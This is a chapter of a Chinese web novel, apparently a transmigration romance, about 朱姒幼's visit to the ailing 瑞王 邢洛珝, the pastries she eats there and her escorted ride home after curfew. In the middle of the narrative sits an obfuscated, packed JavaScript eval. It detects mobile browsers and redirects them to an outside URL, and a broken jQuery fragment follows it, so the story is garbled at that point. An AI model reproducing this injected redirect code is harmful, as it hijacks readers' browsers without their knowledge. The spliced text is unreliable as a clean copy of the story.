心中对陌生府邸的恐惧,在听见邢洛珝声音的一刻消散。他还是这样让人讨厌!把她的好心当成驴肝肺。
“给你送羹汤。”朱姒幼面色如常,侧过身,桌子上是家中唯一食盒。
婢女目不斜视来到羹汤跟前,拿出银针,半晌对着邢洛珝轻轻点头。
掉入狼窝,危机四伏,朱姒幼不会在这时候开口问他什么意思,只是乖巧站在一旁。安安静静,与平日里完全不同。
让邢洛珝不自觉多瞧上两眼,心中暗暗发笑。
“你可以走了。”他冰冷的眸子紧盯朱姒幼略微挑起的眉,与她偷偷咬紧的后槽牙。看她这般愠怒,心中无尽畅快。
深吸一口气,朱姒幼扯出甜美的微笑,捻去眸中的火气,恭恭敬敬行礼,“遵命。”
噗嗤——云晏歌笑声震动院落,屋顶都要被掀翻,捂着腹部,胸腔随着笑声起伏。
在众人目光之下笑了许久,才抹去眼角似有似无的泪花,“我说,你们两个在说些什么啊?”
“诶,朱姒幼是吧?你遵命个什么,你又不是他手下的人。”云晏歌起身,目光来回流转于一言不发的邢洛珝,与神色迷茫的朱姒幼。
难得见她半晌说不出话来,吃瘪的模样略显可爱。邢洛珝心情越发好,对着云晏歌也有点儿好脸色,“丞相与你约的何时?”
说着走向主位,并没有要打开食盒的意思。
云晏歌瞧一眼朱姒幼,收回神色,“早就过了,我瞧朱姑娘的事比丞相大人的鸡毛蒜皮大一些。”
“你带她来做什么?”邢洛珝未分给朱姒幼半个眼神。
“怕不带来,表兄心里苦。”说罢便哈哈大笑。
知道自己被耍了,朱姒幼心中的火烧的更旺,脸上依旧是淡淡的微笑,笑意不达眼底。
耐心等待两兄弟聊完,心中寻思着自己真是多管闲事,这瑞王是死是活与她无关。本就是原文朱姒幼做的坏事,她来给她收拾烂摊子。
结果便是因某人对退婚耿耿于怀,自己现在站在殿上被无视。
云晏歌轻微歪头,意指朱姒幼。
邢洛珝只是轻轻摇头,打定主意要磋磨她一番。
两人谈话,说些她听不懂的,朱姒幼腰酸背痛,今日的药箱差点儿让她归西,必须坐下歇息。
偷偷瞧着两人的目光不曾落到她身上,以蜗牛的移速悄悄往后,费了老半天才挪到木椅旁。
木椅略带独特香味,她心中的烦闷消散些许,气定神闲坐下。
“……”云晏歌轻笑一声,大概是没想到她敢如此,眼神与邢洛珝交流。
从她开始挪动的一刻,邢洛珝便注意到了,见她坐下,却也没说什么。
既然邢洛珝都没开口,云晏歌自然也不会开口。
琉璃端着崭新的茶具,问朱姒幼喜欢哪一个。
抬头看,都挺好看的,哪一个都无所谓,她需要喝水。随意指向一个墨绿色的茶杯,耐心等着琉璃倒茶。
不一会儿,婢女端来几份糕点,糯糕便是她唯一识得的。
浅尝一口糯糕,好熟悉的味道。这真不是她做的吗?怎的味道如此一致。连忙抓住琉璃询问这糯糕来路。
可不要被人偷了手艺,她还怎么做生意?
琉璃含笑朝向她,声音轻柔,“回姑娘,这是殿下今日让奴婢们去来福糕点铺采购的。”
轻轻点头,原来如此,相当于照顾她生意了。现如今来福糕点铺的糯糕几乎被她垄断,其他糕点她也有这个想法,可惜其余糕点还未得到肥头管事的倾心。
既然是自己家的,那便不再吃。
眼馋一碗不知名酸奶模样的酥酪,目视着婢女端给她。拿起勺子,舀一大坨喂进嘴里。
美味。
这不是现代社会的酸奶吗!她还以为是现代才有的,没想到古时候已经有了。
美滋滋地吃起来,心底记下这个。
没见过的各式糕点都拉着琉璃问,两个人一问一答,朱姒幼真恨自己没带个纸墨笔砚的,脑子记不住如此花样百出的玩意。
吃到肚子圆滚滚,这两人还在滔滔不绝。
她小心翼翼开口问琉璃,“我能去小厨房看一下吗?”
可惜琉璃很是为难,倒不是不能去小厨房,而是邢洛珝让不让她离开。眼珠转动,目光扫向主位的一瞬,又安分落在手中的茶壶上。
朱姒幼已然明白。不愿为难琉璃,索性撑着头静静等这两人谈完。
叽叽喳喳不知道在说什么,她今日跑了许久,又背着药箱走了半晌,当真是有些累了,刚好此刻茶余饭饱。
眼皮子不受控制打起架来,昏昏沉沉间感受到脸颊滚烫。疼痛随之袭来,她猛地睁开眼睛,气鼓鼓瞧着。
是邢洛珝。
幸好自己没有条件反射将人推开。这般消瘦,推开说不定撞到桌椅直接命丧黄泉,她也九族不保。
劫后余生呼出一口气。
“为什么笑?”邢洛珝觉着稀奇,分明把她捏疼了,还露出乖巧的笑。
当然是为了讨好你啊……朱姒幼用巧劲摆脱他的束缚,言辞恳切:“这位爷,敢问小的前几日怎的得罪您老了?”
邢洛珝薄唇抿成一条直线,如剑般锋利的眼要将她看穿,浓眉挤压凤眼,似有一阵微风飘过。
“朱姒幼,你想做什么?”他静静等待。
眼见瞒不住,她的笑意连眉,歪头连连眨眼,“不知可否行个方便,你这厨子真是厉害,做出来的甜点那叫一个好吃!”
扭头,桌上的糕点的确被她洗劫一空。
邢洛珝不动声色往后退两步,冷声道:“有条件。”
“请讲~”摊开手,手心朝上,认真真挚的。
一双眼眸亮晶晶的,让邢洛珝心底平静的湖水又泛起阵阵涟漪,心烦意乱,眉头微蹙,别过头去不再看她。
声音不似冰河般冷漠,如同秋日的风,寂寥,“茯羽所托,让你多去寻她。”
“好呀好呀。”满口答应,她不多问,刨根问底是没用的。
相顾无言,朱姒幼提出离开,邢洛珝也不阻拦,轻轻点头应允。
琉璃送她出门,正巧遇见云晏歌在院落中舞剑。
见她要走,云晏歌收起剑,“这么快就走了?”
真是枉费他在这冽冽寒风中吹,只为邢洛珝制造独处机会,没想到表兄如此不争气,这下就放美人归山了。
“宵禁要到了。”邢洛珝不知何时从屋内走出。
风冽冽,寒意袭人,他咳嗽连连不断。枫行将貂皮披风搭在他肩上。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17319185|199028||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
朱姒幼怔愣,满眼疑惑,这宵禁要到,他一个大名鼎鼎的瑞王,没办法打通关系,派人将她护送回去?
云晏歌哀叹一声,“琉璃,去收拾一间屋子给姑娘暂住。”
“不行的……我阿娘还要我回去给她按摩。”朱姒幼很是抗拒。
几人齐刷刷看向眉头紧皱的邢洛珝。半晌,邢洛珝开口:“枫行,送她回去。”
“喂!”云晏歌急了。
却因邢洛珝一记眼刀,闭了嘴。
巡逻官兵见宵禁时刻,还有马车敢通行,几个人将马车围住,借着火光一看,竟是王爷的马车。
可……
“瑞王殿下有事,请各位通行。”枫行声音一出,官兵们也都闭了嘴。
琉璃带笑,伸出手轻轻将钱袋子塞入官兵手中,“还望大人海涵。”
“哪里哪里,请姑姑转告王爷速去速回,切勿耽搁。”官兵面露难色,收下碎银却没有丝毫犹豫。
王府中,云晏歌懊恼自己怎的将人带回,棋局已然无心应付,抬头见邢洛珝风轻云淡,心中火气更甚。
“表兄,你骂我罢,莫要这般无所谓的模样。”
“我骂你做什么?”
“如今圣上不许官员贪污受贿,对触法皇子更是严厉……表兄这般……莫不是叫人抓住把柄。”
说着,他心里越是过意不去,起身跪在地上,“表兄!都是我的过错,望表兄责罚。”
健硕的手臂被一只消瘦的大手轻轻抬起,整个人直起腰,满脸懊悔看向他。
邢洛珝未曾看向他,注意力只在棋盘之上,白子落在意想不到的位置,睫毛遮住目光,声音清冷平静,“与你何干?”
“是本王留她太久了。”
暗暗叹口气,跪在一旁的人死活不愿意起身,邢洛珝才分给他半点眼神,“好了,起来吧,皇兄对我向来睁一只眼闭一只眼,宵禁是他在管,不会有事的。”
云晏歌迟疑起身,落座于他对面,随意落下一颗黑子,“万一……勤王如此,是为了掩人耳目呢?”
这般兄友弟恭,根本不可能出现在皇子遍地的皇宫之中。
“掩人耳目也好,真心实意也罢,他不会动本王的。”白子获胜,却没有想象中的喜悦。
离开棋盘,他从未赢过,一次也没有。
窗外寒风卷走枯叶,也不知道那个人平安归家了没。
朱姒幼身披貂皮披风,手中拿着墨绿色的精致茶杯,怀里还有个食盒。
走下车时一家人都出来帮她拿东西。
朱父与朱母对视,两双眼睛瞪的溜圆,不可思议地搓搓眼,这真是王爷的马车。天呐,这女儿还有什么是他们不知道的?
的确还有。
朱姒幼打算时常去瑞王府,跟着糕点师傅学习一下手艺。
真真正正跟王府打上交道,朱父只觉得心脏承受不住如此可怕的事实!
“阿爹,阿姐都敢退婚瑞王,您就别担心她做出什么来了。”朱秦游才不像阿爹阿娘一般大惊小怪。扭头看向朱姒幼,眼底全是佩服,“阿姐,你跟哪位贵人如此交好呢?”
半晌不知道该如何说,朱姒幼支支吾吾。
“姑娘,那我们先回瑞王府了。”
“?”